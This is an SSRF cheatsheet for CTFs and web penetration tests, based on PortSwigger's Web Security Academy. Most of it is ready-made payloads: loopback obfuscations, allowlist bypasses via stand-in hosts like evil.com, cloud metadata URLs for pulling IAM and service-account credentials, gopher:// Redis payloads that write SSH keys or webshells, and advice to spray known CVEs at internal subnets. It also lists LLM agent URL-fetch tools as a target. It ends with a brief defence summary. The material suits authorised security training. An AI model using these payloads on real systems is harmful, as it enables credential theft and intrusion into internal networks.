Server-Side Request Forgery (SSRF)
Cheatsheet for CTFs & web pentests. Based on PortSwigger Web Security Academy.
Server fetches a URL you control → use the server’s network
position (loopback, internal subnets, cloud metadata, trust
relationships) to reach things you can’t. See also Path Traversal (often
file://) and LLM tools that fetch
URLs.
Where to look
- Any param taking a URL:
url=,uri=,dest=,redirect=,next=,image=,avatar=,webhook=,callback=,return_to=,feed=,xml=,path=(yes — see Path Traversal) - “Fetch / preview / import” features: link unfurl, RSS, OPML,
OG-tag preview, screenshot, PDF/HTML→PDF, “import from URL”,
profile-pic-from-URL, OAuth
redirect_uriserver-side checks - Hidden:
Refererheader consumed by analytics,X-Forwarded-Forused by geolookup, XML/SVG/DOCX uploads (XXE→SSRF), webhooks, SAML/OIDC discovery URLs - LLM agent tools that fetch a URL — same bug class
First-pass payloads
http://localhost/ http://127.0.0.1/
http://127.0.0.1:80/ cycle ports
http://[::1]/ IPv6 loopback
http://169.254.169.254/ cloud metadata (see below)
file:///etc/passwd file scheme — instant LFI if supported
gopher://127.0.0.1:6379/_... Redis / SMTP / FTP smuggling
dict://127.0.0.1:11211/ memcache
ftp://attacker/ blind exfil
http://burp-collab.net/ OAST for blind SSRF
Localhost obfuscation (blacklist bypass)
127.0.0.1 127.1 127.0.1 127.000.000.001
0 0.0.0.0 localhost LOCALHOST
[::] [::1] [0:0:0:0:0:ffff:127.0.0.1]
2130706433 # decimal
0x7f000001 # hex
0177.0.0.1 017700000001 # octal
127。0。0。1 # unicode fullstop
spoofed.burpcollaborator.net # DNS rebinding / public domain → 127.0.0.1
yourdomain.com → A 127.0.0.1 # own domain pointing at loopback
Mix encodings: http://%6c%6fcalhost/,
hTTp://LocAlhOSt/, double URL-encode
(%2531%2532%2537...).
Whitelist / parser-confusion bypass
URL parsers disagree about authority — exploit the gap between the filter and the fetcher.
http://[email protected]/ # userinfo trick — fetcher hits evil.com
http://evil.com#expected.com # fragment
http://expected.com.evil.com/ # subdomain
http://evil.com/?x=expected.com
http://evil.com\@expected.com # backslash confusion (Node, Python urllib)
http://evil.com\.expected.com
http://expected.com:80\@evil.com:80/
http://expected.com%2eevil.com # encoded dot
http://expected.com%[email protected] # double-encoded /
http://expected.com %0d%0aevil: x # CRLF in URL → header injection
CRLF injection in URL → smuggle headers / request lines into the
back-end fetch
(http://x%0d%0aHost:%20internal%0d%0a/).
Open-redirect chaining
If host is whitelisted but the same host has an open redirect → use it as a hop.
stockApi=http://allowed.com/redirect?next=http://169.254.169.254/
stockApi=http://allowed.com/oauth/cb?redirect=http://internal/admin
Try multiple redirect codes (301/302/303/307) and protocol
switches (http://→https://) — some libs
follow redirects but only enforce the allowlist on the first
hop.
Cloud metadata (high-value targets)
| Cloud | Endpoint | Notes |
|---|---|---|
| AWS | http://169.254.169.254/latest/meta-data/ |
IAM creds at iam/security-credentials/<role>
— IMDSv2 needs X-aws-ec2-metadata-token
(PUT /latest/api/token,
X-aws-ec2-metadata-token-ttl-seconds: 21600) |
| AWS ECS | http://169.254.170.2/v2/credentials/<uuid>
(path from
$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI) |
ECS task role |
| GCP | http://metadata.google.internal/computeMetadata/v1/ |
Requires header Metadata-Flavor: Google |
| Azure | http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ |
Header Metadata: true |
| DO | http://169.254.169.254/metadata/v1/ |
|
| Alibaba | http://100.100.100.200/latest/meta-data/ |
|
| K8s | https://kubernetes.default.svc/, service account at
/var/run/secrets/kubernetes.io/serviceaccount/token
(via file://) |
If the SSRF can set headers (e.g. via CRLF / gopher), IMDSv2 / GCP / Azure are all reachable. Otherwise IMDSv1-only AWS, ECS, and DO often work raw.
Internal port / host scanning
- Sweep
192.168.0.1-255,10.0.0.1-255,172.16-31.x.xon common ports (80/8080/8000/8443/9200/6379/27017/3306/5432/9000). - Distinguish hits via response time / length / status — Burp Intruder, sort by Length.
- Blind SSRF: time-based — closed port = fast RST, open = slow /
hang. Use
connect-timeout.
Protocol smuggling (when scheme is permitted)
file://→ arbitrary file read (chain into source code,/etc/passwd,~/.aws/credentials)gopher://→ arbitrary TCP payload — main RCE vector for blind SSRF- Redis:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall...→ write SSH key / cron / webshell. Usegopherus --exploit redis. - SMTP: send mail from internal MTA
- FastCGI on port 9000 → RCE
(
gopherus --exploit fastcgi) - MySQL / Memcached / unauth Elasticsearch
- Redis:
dict://→ key-value probes (Redis info)ldap://,tftp://,sftp://if curl-backedjar://,netdoc://for Java fetchers
Blind SSRF
No response body returned. Confirm via OAST → escalate via known internal CVEs.
- Burp Collaborator → poll for DNS only (egress blocked) vs DNS+HTTP (full).
- DNS-only? → still useful: confirms vuln, possibly DNS rebinding for filter bypass.
- Time-based: probe ports by response delay.
- Spray known exploits at internal subnet (Confluence CVE-2022-26134, GitLab, Jenkins script-console, ActiveMQ, Spring4Shell, Log4Shell on internal apps).
- Trigger DNS rebinding: TTL=0 record alternating allowed-host ↔︎ 127.0.0.1, abuse TOCTOU between filter and fetcher.
SSRF via XXE / file uploads
XML body / SOAP / SVG / DOCX / XLSX with external entity:
<!ENTITY xxe SYSTEM "http://internal/admin"> ... &xxe; <!ENTITY xxe SYSTEM "file:///etc/passwd"> ... &xxe;SVG
<image href="http://internal/">,<use xlink:href="...">PDF generators (wkhtmltopdf, headless Chrome) — feed HTML with
<iframe src=http://169.254.169.254/...>,<img>,<link>, JSfetch()Office docs with remote-template /
oleObject/INCLUDEPICTURE
Hidden-attack-surface tricks
Refererheader used by analytics → put your URL there- Webhook configurations on profile / project / GitHub-style repo
- “Test connection” buttons in admin (DB import, S3 import, IMAP, LDAP)
- WebSub / RSS / Atom feed URLs
- Health-check / proxy / “fetch on behalf of” endpoints
- OAuth
jwks_uri, OIDCdiscoveryendpoint, SAML metadata URL — server fetches these
Tools
- Burp Repeater + Collaborator (default workflow)
ffuf/wfuzzfor hostname / port sweep through the SSRF param- SSRFmap — automated SSRF exploitation (Redis, MySQL, Confluence, etc.)
- Gopherus — generates gopher:// payloads for Redis / FastCGI / SMTP / MySQL
- interactsh — open-source OAST (alt to Collaborator)
seclists/Fuzzing/SSRF/, payload listSSRF-Proxies-Bypass.txt
CTF / pentest checklist
Defence (one-liner)
Allowlist hostnames after DNS resolution
(resolve once, reject RFC1918 / loopback / link-local / metadata
IPs, then connect to the resolved IP — prevents DNS rebinding).
Disable unused URL schemes (file, gopher,
dict, ftp). Block redirects, or
re-validate each hop. Strip auth headers before the back-end fetch.
Put the metadata service behind IMDSv2.